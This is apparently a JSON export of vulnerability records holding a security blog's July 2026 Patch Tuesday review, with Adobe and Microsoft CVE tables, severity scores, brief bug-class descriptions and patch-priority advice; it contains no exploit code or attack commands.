No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:08.061667Z"}, {"uuid": "5bad2dc8-c39b-44f7-91cb-ba61d1560e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of 